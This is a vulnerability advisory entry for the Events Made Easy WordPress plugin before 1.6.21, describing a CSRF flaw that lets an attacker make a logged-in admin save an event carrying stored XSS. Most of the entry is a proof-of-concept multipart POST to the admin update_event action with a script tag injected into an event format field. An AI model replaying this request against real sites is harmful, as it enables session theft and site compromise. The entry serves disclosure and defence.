WordPress Plugin Vulnerabilities

Events Made Easy < 1.6.21 - CSRF to Cross-Site Scripting (XSS)

Description

The plugin does not have CSRF checks in place when adding or editing an event, and do not sanitise some fo the fields. This cold allow an attacker to make a logged in admin create an event with a Cross-Site Scripting payload.

Proof of Concept

POST /wp-admin/admin.php?page=events-manager&eme_admin_action=update_event&event_id=16 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: <session cookies>
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------224523339434990794855940370
Content-Length: 8579
   
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_status"
   
5
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_contactperson_id"
   
-1
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_seats"
   
0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="price"
   
0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="currency"
   
EUR
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_max_allowed"
   
10
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_min_allowed"
   
1
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_rsvp_discount"
   
   
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_rsvp_discountgroup"
   
   
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="rsvp_number_days"
   
0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="rsvp_number_hours"
   
0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_rsvp_end_target"
   
start
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_name"
   
fooname
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_slug"
   
fooname
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="localised_recurrence_date"
   
07/29/2016
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="recurrence_start_date"
   
2016-07-29
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="localised_recurrence_end_date"
   
07/29/2016
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="recurrence_end_date"
   
2016-07-29
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="recurrence_freq"
   
daily
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="recurrence_interval"
   
   
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="recurrence_byweekno"
   
1
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="recurrence_byday"
   
1
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="localised_event_start_date"
   
07/29/2016
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_start_date"
   
2016-07-29
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="localised_event_end_date"
   
07/29/2016
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_end_date"
   
2016-07-29
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_start_time"
   
01:22PM
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_end_time"
   
01:22PM
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_page_title_format_tpl"
   
0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_page_title_format"
   
lalalala
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_single_event_format_tpl"
   
0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_single_event_format"
   
<p>#_STARTDATE - #_STARTTIME</p><p>#_TOWN</p><p>#_NOTES</p><p>#_ADDBOOKINGFORM</p><p>#_MAP</p><script>alert(document.cookies)</script>
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_contactperson_email_body_tpl"
   
0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_contactperson_email_body"
   
   
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_registration_recorded_ok_html_tpl"
   
0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_registration_recorded_ok_html"
   
   
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_respondent_email_body_tpl"
   
0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_respondent_email_body"
   
   
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_registration_pending_email_body_tpl"
   
0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_registration_pending_email_body"
   
   
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_registration_updated_email_body_tpl"
   
0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_registration_updated_email_body"
   
   
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_registration_cancelled_email_body_tpl"
   
0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_registration_cancelled_email_body"
   
Dear #_RESPNAME,
   
Your request to reserve #_RESPSPACES space(s) for #_EVENTNAME has been cancelled.
   
Yours faithfully,awfe
#_CONTACTPERSON
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_registration_denied_email_body_tpl"
   
0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_registration_denied_email_body"
   
Dear #_RESPNAME,
   
Your request to reserve #_RESPSPACES space(s) for #_EVENTNAME has been denied.
   
Yours faithfully,
#_CONTACTPERSONawef
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_registration_form_format_tpl"
   
0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_registration_form_format"
   
   
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="eme_prop_event_cancel_form_format_tpl"
   
0
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_cancel_form_format"
   
   
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="location_name"
   
piet
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="location_address"
   
kaas
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="location_town"
   
foo
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="location_latitude"
   
57.198
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="location_longitude"
   
9.67063
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="content"
   
gold
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_image_url"
   
   
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_image_id"
   
   
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_url"
   
   
-----------------------------224523339434990794855940370
Content-Disposition: form-data; name="event_update_button"
   
Update »
-----------------------------224523339434990794855940370

Affects Plugins

Plugin icon
events-made-easy
Fixed in 1.6.21

References

URL
https://seclists.org/fulldisclosure/2016/Aug/20
URL
https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_events_made_easy_wordpress_plugin.html

Classification

Type
CSRF
OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352
CVSS
8.8 (high)

Miscellaneous

Submitter
ethicalhack3r
Submitter twitter
ethicalhack3r
Verified
Yes
WPVDB ID
ad2037fa-e835-44df-b2c2-c47e2f57f76c

Timeline

Publicly Published
2016-08-04 (about 7 years ago)
Added
2016-08-12 (about 7 years ago)
Last Updated
2021-10-01 (about 2 years ago)

Other

Published
Title
Published
2014-08-01
Title
Content Slide <= 1.4.2 - Cross Site Request Forgery
Published
2023-08-30
Title
Simple 301 Redirects < 2.0.8 - Cross-Site Request Forgery via 'clicked'
Published
2014-09-19
Title
WordPress File Upload < 2.4.2 - Cross-Site Request Forgery (CSRF)
Published
2021-08-16
Title
Post Carousel < 2.3.5 - CSRF Bypass / Unauthorised AJAX Calls
Published
2023-10-16
Title
HTML5 Maps < 1.7.1.5 - Arbitrary Settings Update via CSRF